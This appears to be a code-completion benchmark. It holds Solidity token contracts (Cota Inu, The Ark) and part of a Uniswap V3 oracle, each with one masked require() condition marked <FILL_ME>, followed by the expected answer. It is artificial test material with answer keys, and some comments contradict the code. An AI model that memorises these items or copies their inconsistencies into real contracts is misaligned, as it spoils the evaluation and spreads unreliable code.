function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract CotaInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Cota Inu";
string private constant _symbol = "COTA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 7;
uint256 private _teamFee = 5;
mapping(address => bool) private bots;
mapping(address => uint256) private buycooldown;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
}
constructor(address payable addr1, address payable addr2) {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function setFee(uint256 multiplier) private {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) {
require(tradingOpen);
require(amount <= _maxTxAmount);
require(buycooldown[to] < block.timestamp);
buycooldown[to] = block.timestamp + (30 seconds);
_teamFee = 6;
_taxFee = 2;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount);
require(<FILL_ME>)
if(firstsell[from] + (1 days) < block.timestamp){
sellnumber[from] = 0;
}
if (sellnumber[from] == 0) {
sellnumber[from]++;
firstsell[from] = block.timestamp;
sellcooldown[from] = block.timestamp + (1 hours);
}
else if (sellnumber[from] == 1) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (2 hours);
}
else if (sellnumber[from] == 2) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (6 hours);
}
else if (sellnumber[from] == 3) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (12 hours);
}
else if (sellnumber[from] == 4) {
sellnumber[from]++;
sellcooldown[from] = firstsell[from] + (1 days);
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
setFee(sellnumber[from]);
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function openTrading() public onlyOwner {
}
function addLiquidity() external onlyOwner() {
}
function manualswap() external {
}
function manualsend() external {
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
}
}
| sellcooldown[from]<block.timestamp | 69,746 | sellcooldown[from]<block.timestamp |
null | /**
https://t.me/TheArk_Eth
*/
//SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
// Just the basic IERC20 interface
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// We use the Auth contract mainly to have two devs able to interacet with the contract
abstract contract Auth {
address internal owner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
}
modifier onlyOwner() {
}
modifier authorized() {
}
function authorize(address adr) public onlyOwner {
}
function unauthorize(address adr) public onlyOwner {
}
function isOwner(address account) public view returns (bool) {
}
function isAuthorized(address adr) public view returns (bool) {
}
function transferOwnership(address payable adr) public onlyOwner {
}
event OwnershipTransferred(address owner);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract TheArk is IERC20, Auth {
// Constant addresses
address constant DEAD = 0x000000000000000000000000000000000000dEaD;
address constant ZERO = 0x0000000000000000000000000000000000000000;
IDEXRouter public constant router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
// Immutable vars
address public immutable pair; // After we set the pair we don't have to change it again
// Token info is constant
string constant _name = "The Ark";
string constant _symbol = "ARK";
uint8 constant _decimals = 18;
// Total supply is 1 billion
uint256 _totalSupply = 1 * (10**9) * (10 ** _decimals);
// The tax divisor is also constant (and hence immutable)
// 1000 so we can also use halves, like 2.5%
uint256 constant taxDivisor = 1_000;
// 10 / 1000 = 0.01 = 1%
uint256 public _maxTxAmount = _totalSupply * 20 / taxDivisor;
uint256 public _maxWalletToken = _totalSupply * 20 / taxDivisor;
// Keep track of wallet balances and approvals (allowance)
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
// Mapping to keep track of what wallets/contracts are exempt
// from fees
mapping (address => bool) isFeeExempt;
mapping (address => bool) isTxLimitExempt; // Both wallet + max TX
// Also, to keep it organized, a seperate mapping to exclude the presale
// and locker from limits
mapping (address => bool) presaleOrlock;
//fees are mulitplied by 10 to allow decimals, and therefore dividied by 1000 (see takefee)
uint256 marketingBuyFee = 50;
uint256 liquidityBuyFee = 0;
uint256 developmentBuyFee = 50;
uint256 public totalBuyFee = marketingBuyFee + liquidityBuyFee + developmentBuyFee;
uint256 marketingSellFee = 125;
uint256 liquiditySellFee = 0;
uint256 developmentSellFee = 125;
uint256 public totalSellFee = marketingSellFee + liquiditySellFee + developmentSellFee;
// For the sniper friends
uint256 private sniperTaxTill;
// In case anything would go wrong with fees we can just disable them
bool feesEnabled = true;
// Whether tx limits should apply or not
bool limits = true;
// To keep track of the tokens collected to swap
uint256 private tokensForMarketing;
uint256 private tokensForLiquidity;
uint256 private tokensForDev;
// Wallets used to send the fees to
address public liquidityWallet;
address public marketingWallet;
address public developmentWallet;
// One time trade lock
bool tradeBlock = true;
bool lockUsed = false;
// Contract cant be tricked into spam selling exploit
uint256 lastSellTime;
// When to swap contract tokens, and how many to swap
bool public swapEnabled = true;
uint256 public swapThreshold = _totalSupply * 10 / 100_000; // 0.01%
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);
// This will just check if the transferf is called from within
// the token -> ETH swap when processing the fees (and adding LP)
bool inSwap;
modifier swapping() { }
constructor () Auth(msg.sender) {
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function getPair() external view returns (address){ }
// Internal approve
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
// Regular approve the contract
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) external returns (bool) {
}
// We actually only need to exempt any locks or presale addresses
// we could use a feeexempt or authorize it, but this is a bit cleaner
function excludeLockorPresale(address add) external authorized {
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
// Set the buy fees, this can not exceed 15%, 150 / 1000 = 0.15 = 15%
function setBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _developFee) external authorized{
require(<FILL_ME>) // max 10%
marketingBuyFee = _marketingFee;
liquidityBuyFee = _liquidityFee;
developmentBuyFee = _developFee;
totalBuyFee = _marketingFee + _liquidityFee + _developFee;
}
// Set the sell fees, this can not exceed 15%, 150 / 1000 = 0.15 = 15%
function setSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _developFee) external authorized{
}
// To change the tax receiving wallets
function setWallets(address _marketingWallet, address _liquidityWallet, address _developWallet) external authorized {
}
// To limit the number of tokens a wallet can buy, especially relevant at launch
function setMaxWallet(uint256 percent) external authorized {
}
// To limit the number of tokens per transactions
function setTxLimit(uint256 percent) external authorized {
}
function checkLimits(address sender,address recipient, uint256 amount) internal view {
}
// We will lift the transaction limits just after launch
function liftLimits() external authorized {
}
// This would make the token fee-less in case taking fees
// would at any point block transfers. This is reversible
function setFeeTaking(bool takeFees) external authorized {
}
// Enable trading - this can only be called once (by just the owner)
function startTrading() external onlyOwner {
}
// When and if to swap the tokens in the contract
function setTokenSwapSettings(bool _enabled, uint256 _threshold) external authorized {
}
// Check if the contract should swap tokens
function shouldTokenSwap(address recipient) internal view returns (bool) {
}
function takeFee(address from, address to, uint256 amount) internal returns (uint256) {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function swapBack() internal swapping {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
}
// In case anyone would send ETH to the contract directly
// or when, for some reason, autoswap would fail. We
// send the contact ETH to the marketing wallet
function clearStuckWETH(uint256 perc) external authorized {
}
}
| _marketingFee+_liquidityFee+_developFee<=100 | 69,773 | _marketingFee+_liquidityFee+_developFee<=100 |
null | /**
https://t.me/TheArk_Eth
*/
//SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
// Just the basic IERC20 interface
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// We use the Auth contract mainly to have two devs able to interacet with the contract
abstract contract Auth {
address internal owner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
}
modifier onlyOwner() {
}
modifier authorized() {
}
function authorize(address adr) public onlyOwner {
}
function unauthorize(address adr) public onlyOwner {
}
function isOwner(address account) public view returns (bool) {
}
function isAuthorized(address adr) public view returns (bool) {
}
function transferOwnership(address payable adr) public onlyOwner {
}
event OwnershipTransferred(address owner);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract TheArk is IERC20, Auth {
// Constant addresses
address constant DEAD = 0x000000000000000000000000000000000000dEaD;
address constant ZERO = 0x0000000000000000000000000000000000000000;
IDEXRouter public constant router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
// Immutable vars
address public immutable pair; // After we set the pair we don't have to change it again
// Token info is constant
string constant _name = "The Ark";
string constant _symbol = "ARK";
uint8 constant _decimals = 18;
// Total supply is 1 billion
uint256 _totalSupply = 1 * (10**9) * (10 ** _decimals);
// The tax divisor is also constant (and hence immutable)
// 1000 so we can also use halves, like 2.5%
uint256 constant taxDivisor = 1_000;
// 10 / 1000 = 0.01 = 1%
uint256 public _maxTxAmount = _totalSupply * 20 / taxDivisor;
uint256 public _maxWalletToken = _totalSupply * 20 / taxDivisor;
// Keep track of wallet balances and approvals (allowance)
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
// Mapping to keep track of what wallets/contracts are exempt
// from fees
mapping (address => bool) isFeeExempt;
mapping (address => bool) isTxLimitExempt; // Both wallet + max TX
// Also, to keep it organized, a seperate mapping to exclude the presale
// and locker from limits
mapping (address => bool) presaleOrlock;
//fees are mulitplied by 10 to allow decimals, and therefore dividied by 1000 (see takefee)
uint256 marketingBuyFee = 50;
uint256 liquidityBuyFee = 0;
uint256 developmentBuyFee = 50;
uint256 public totalBuyFee = marketingBuyFee + liquidityBuyFee + developmentBuyFee;
uint256 marketingSellFee = 125;
uint256 liquiditySellFee = 0;
uint256 developmentSellFee = 125;
uint256 public totalSellFee = marketingSellFee + liquiditySellFee + developmentSellFee;
// For the sniper friends
uint256 private sniperTaxTill;
// In case anything would go wrong with fees we can just disable them
bool feesEnabled = true;
// Whether tx limits should apply or not
bool limits = true;
// To keep track of the tokens collected to swap
uint256 private tokensForMarketing;
uint256 private tokensForLiquidity;
uint256 private tokensForDev;
// Wallets used to send the fees to
address public liquidityWallet;
address public marketingWallet;
address public developmentWallet;
// One time trade lock
bool tradeBlock = true;
bool lockUsed = false;
// Contract cant be tricked into spam selling exploit
uint256 lastSellTime;
// When to swap contract tokens, and how many to swap
bool public swapEnabled = true;
uint256 public swapThreshold = _totalSupply * 10 / 100_000; // 0.01%
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);
// This will just check if the transferf is called from within
// the token -> ETH swap when processing the fees (and adding LP)
bool inSwap;
modifier swapping() { }
constructor () Auth(msg.sender) {
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function getPair() external view returns (address){ }
// Internal approve
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
// Regular approve the contract
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) external returns (bool) {
}
// We actually only need to exempt any locks or presale addresses
// we could use a feeexempt or authorize it, but this is a bit cleaner
function excludeLockorPresale(address add) external authorized {
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
// Set the buy fees, this can not exceed 15%, 150 / 1000 = 0.15 = 15%
function setBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _developFee) external authorized{
}
// Set the sell fees, this can not exceed 15%, 150 / 1000 = 0.15 = 15%
function setSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _developFee) external authorized{
require(<FILL_ME>) // max 25%
marketingSellFee = _marketingFee;
liquiditySellFee = _liquidityFee;
developmentSellFee = _developFee;
totalSellFee = _marketingFee + _liquidityFee + _developFee;
}
// To change the tax receiving wallets
function setWallets(address _marketingWallet, address _liquidityWallet, address _developWallet) external authorized {
}
// To limit the number of tokens a wallet can buy, especially relevant at launch
function setMaxWallet(uint256 percent) external authorized {
}
// To limit the number of tokens per transactions
function setTxLimit(uint256 percent) external authorized {
}
function checkLimits(address sender,address recipient, uint256 amount) internal view {
}
// We will lift the transaction limits just after launch
function liftLimits() external authorized {
}
// This would make the token fee-less in case taking fees
// would at any point block transfers. This is reversible
function setFeeTaking(bool takeFees) external authorized {
}
// Enable trading - this can only be called once (by just the owner)
function startTrading() external onlyOwner {
}
// When and if to swap the tokens in the contract
function setTokenSwapSettings(bool _enabled, uint256 _threshold) external authorized {
}
// Check if the contract should swap tokens
function shouldTokenSwap(address recipient) internal view returns (bool) {
}
function takeFee(address from, address to, uint256 amount) internal returns (uint256) {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function swapBack() internal swapping {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
}
// In case anyone would send ETH to the contract directly
// or when, for some reason, autoswap would fail. We
// send the contact ETH to the marketing wallet
function clearStuckWETH(uint256 perc) external authorized {
}
}
| _marketingFee+_liquidityFee+_developFee<=250 | 69,773 | _marketingFee+_liquidityFee+_developFee<=250 |
"Max wallet" | /**
https://t.me/TheArk_Eth
*/
//SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
// Just the basic IERC20 interface
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// We use the Auth contract mainly to have two devs able to interacet with the contract
abstract contract Auth {
address internal owner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
}
modifier onlyOwner() {
}
modifier authorized() {
}
function authorize(address adr) public onlyOwner {
}
function unauthorize(address adr) public onlyOwner {
}
function isOwner(address account) public view returns (bool) {
}
function isAuthorized(address adr) public view returns (bool) {
}
function transferOwnership(address payable adr) public onlyOwner {
}
event OwnershipTransferred(address owner);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract TheArk is IERC20, Auth {
// Constant addresses
address constant DEAD = 0x000000000000000000000000000000000000dEaD;
address constant ZERO = 0x0000000000000000000000000000000000000000;
IDEXRouter public constant router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
// Immutable vars
address public immutable pair; // After we set the pair we don't have to change it again
// Token info is constant
string constant _name = "The Ark";
string constant _symbol = "ARK";
uint8 constant _decimals = 18;
// Total supply is 1 billion
uint256 _totalSupply = 1 * (10**9) * (10 ** _decimals);
// The tax divisor is also constant (and hence immutable)
// 1000 so we can also use halves, like 2.5%
uint256 constant taxDivisor = 1_000;
// 10 / 1000 = 0.01 = 1%
uint256 public _maxTxAmount = _totalSupply * 20 / taxDivisor;
uint256 public _maxWalletToken = _totalSupply * 20 / taxDivisor;
// Keep track of wallet balances and approvals (allowance)
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
// Mapping to keep track of what wallets/contracts are exempt
// from fees
mapping (address => bool) isFeeExempt;
mapping (address => bool) isTxLimitExempt; // Both wallet + max TX
// Also, to keep it organized, a seperate mapping to exclude the presale
// and locker from limits
mapping (address => bool) presaleOrlock;
//fees are mulitplied by 10 to allow decimals, and therefore dividied by 1000 (see takefee)
uint256 marketingBuyFee = 50;
uint256 liquidityBuyFee = 0;
uint256 developmentBuyFee = 50;
uint256 public totalBuyFee = marketingBuyFee + liquidityBuyFee + developmentBuyFee;
uint256 marketingSellFee = 125;
uint256 liquiditySellFee = 0;
uint256 developmentSellFee = 125;
uint256 public totalSellFee = marketingSellFee + liquiditySellFee + developmentSellFee;
// For the sniper friends
uint256 private sniperTaxTill;
// In case anything would go wrong with fees we can just disable them
bool feesEnabled = true;
// Whether tx limits should apply or not
bool limits = true;
// To keep track of the tokens collected to swap
uint256 private tokensForMarketing;
uint256 private tokensForLiquidity;
uint256 private tokensForDev;
// Wallets used to send the fees to
address public liquidityWallet;
address public marketingWallet;
address public developmentWallet;
// One time trade lock
bool tradeBlock = true;
bool lockUsed = false;
// Contract cant be tricked into spam selling exploit
uint256 lastSellTime;
// When to swap contract tokens, and how many to swap
bool public swapEnabled = true;
uint256 public swapThreshold = _totalSupply * 10 / 100_000; // 0.01%
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);
// This will just check if the transferf is called from within
// the token -> ETH swap when processing the fees (and adding LP)
bool inSwap;
modifier swapping() { }
constructor () Auth(msg.sender) {
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function getPair() external view returns (address){ }
// Internal approve
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
// Regular approve the contract
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) external returns (bool) {
}
// We actually only need to exempt any locks or presale addresses
// we could use a feeexempt or authorize it, but this is a bit cleaner
function excludeLockorPresale(address add) external authorized {
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
// Set the buy fees, this can not exceed 15%, 150 / 1000 = 0.15 = 15%
function setBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _developFee) external authorized{
}
// Set the sell fees, this can not exceed 15%, 150 / 1000 = 0.15 = 15%
function setSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _developFee) external authorized{
}
// To change the tax receiving wallets
function setWallets(address _marketingWallet, address _liquidityWallet, address _developWallet) external authorized {
}
// To limit the number of tokens a wallet can buy, especially relevant at launch
function setMaxWallet(uint256 percent) external authorized {
}
// To limit the number of tokens per transactions
function setTxLimit(uint256 percent) external authorized {
}
function checkLimits(address sender,address recipient, uint256 amount) internal view {
// If both sender and recipient are excluded we don't have to limit
if (isTxLimitExempt[sender] && isTxLimitExempt[recipient]){return;}
// In any other case we will check whether this is a buy or sell
// to determine the tx limit
// buy
if (sender == pair && !isTxLimitExempt[recipient]) {
require(amount <= _maxTxAmount, "Max tx limit");
// sell
} else if(recipient == pair && !isTxLimitExempt[sender] ) {
require(amount <= _maxTxAmount, "Max tx limit");
}
// Also check max wallet
if (!isTxLimitExempt[recipient]) {
require(<FILL_ME>)
}
}
// We will lift the transaction limits just after launch
function liftLimits() external authorized {
}
// This would make the token fee-less in case taking fees
// would at any point block transfers. This is reversible
function setFeeTaking(bool takeFees) external authorized {
}
// Enable trading - this can only be called once (by just the owner)
function startTrading() external onlyOwner {
}
// When and if to swap the tokens in the contract
function setTokenSwapSettings(bool _enabled, uint256 _threshold) external authorized {
}
// Check if the contract should swap tokens
function shouldTokenSwap(address recipient) internal view returns (bool) {
}
function takeFee(address from, address to, uint256 amount) internal returns (uint256) {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function swapBack() internal swapping {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
}
// In case anyone would send ETH to the contract directly
// or when, for some reason, autoswap would fail. We
// send the contact ETH to the marketing wallet
function clearStuckWETH(uint256 perc) external authorized {
}
}
| amount+balanceOf(recipient)<=_maxWalletToken,"Max wallet" | 69,773 | amount+balanceOf(recipient)<=_maxWalletToken |
"UniswapV3OracleSimple: token must be registered with the Oracle before it's iniialized from the Factory" | // SPDX-License-Identifier: GNU
pragma solidity 0.7.6;
import "../OracleCommon.sol";
import "../../lib/AddressSet.sol";
import "../../_openzeppelin/math/SafeMath.sol";
import '../../_uniswap_v3/v3-periphery/contracts/libraries/OracleLibrary.sol';
import '../../_uniswap_v3/v3-periphery/contracts/libraries/PoolAddress.sol';
import '../../_uniswap_v3/v3-core/contracts/interfaces/IUniswapV3Pool.sol';
import '../../_uniswap_v3/v3-core/contracts/interfaces/IUniswapV3Factory.sol';
import '../../lib/SafeUint128.sol';
/**
@notice A oracle based on Uniswap V3 pools that checks spot price and a specified TWAP period and uses the lower of the 2 values.
The oracle supports one hop routes (token/indexToken) and two hops routes (token/ETH - ETH/indexToken).
Note that the price average is only guaranteed to be over at least 1 period, but may be over a longer period,
Periodicity and Uniswap V3 pool fee setting are passed along during the token's registration.
Index token (usually a USD token) and Uniswap V3 ETH/indexToken pool fee setting are fixed at deployment time.
A single deployment can be shared by multiple oneToken clients and can observe multiple base tokens.
Non-USD index tokens are possible. Such deployments can be used as interim oracles in Composite Oracles. They should
NOT be registered in the Factory because they are not, by definition, valid sources of USD quotes.
Example calculation MPH/ETH -> ETH/USD spot and MPH/ETH -> ETH/USD 24hr take the lower value and return. This is a safety net to help
prevent price manipulation.
For the ETH/indexToken pool only the spot price is checked. TWAP is used only for token/ETH and token/indexToken pools.
*/
contract UniswapV3OracleSimple is OracleCommon {
address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant UNI_V3_FACTORY = 0x1F98431c8aD98523631AE4a59f267346ea31F984;
using AddressSet for AddressSet.Set;
address public immutable uniswapFactory;
uint24 public immutable ethPoolFee;
struct Settings {
bool oneStep;
uint32 period;
uint24 poolFee;
}
// token address => Settings
// Settings.oneStep flag specifies whether it's one step or two step oracle (with ETH as an intermetiatery)
// Settings.poolFee is used to select between available V3 pools for the token
// Settings.period value (in seconds) specifies desired time period for TWAP obsersation
// If Setting.period == 0, only spot price is used
mapping(address => Settings) public registeredTokens;
// iterable key set with delete
AddressSet.Set registeredTokensSet;
event RegisterToken(address sender, address token, bool oneStep, uint32 period, uint24 poolFee);
event ReregisterToken(address sender, address token, bool oneStep, uint32 period, uint24 poolFee);
/**
@notice the indexToken (index token), averaging period and uniswapfactory cannot be changed post-deployment
@dev deploy multiple instances to support different configurations
@param oneTokenFactory_ oneToken factory to bind to
@param uniswapFactory_ external factory contract needed by the uniswap V3 library
@param indexToken_ the index token to use for valuations. If not a usd collateral token then the Oracle should not be registered in the factory but it can be used by CompositeOracles.
@param ethPoolFee_ fee setting for ETH/indexToken uniswap V3 pool to be used by this oracle. Main options: 10000, 3000 and 500 (1%, 0.3%. 0.05%)
*/
constructor(
address oneTokenFactory_,
address uniswapFactory_,
address indexToken_,
uint24 ethPoolFee_)
OracleCommon(
oneTokenFactory_,
"ICHI Simple Uniswap V3 Oracle",
indexToken_)
{
}
/**
@notice checks is the oracle is ready to be used with the base token, If yes, emits OracleInitialized event
@dev initialized from the Factory when assigned to an asset.
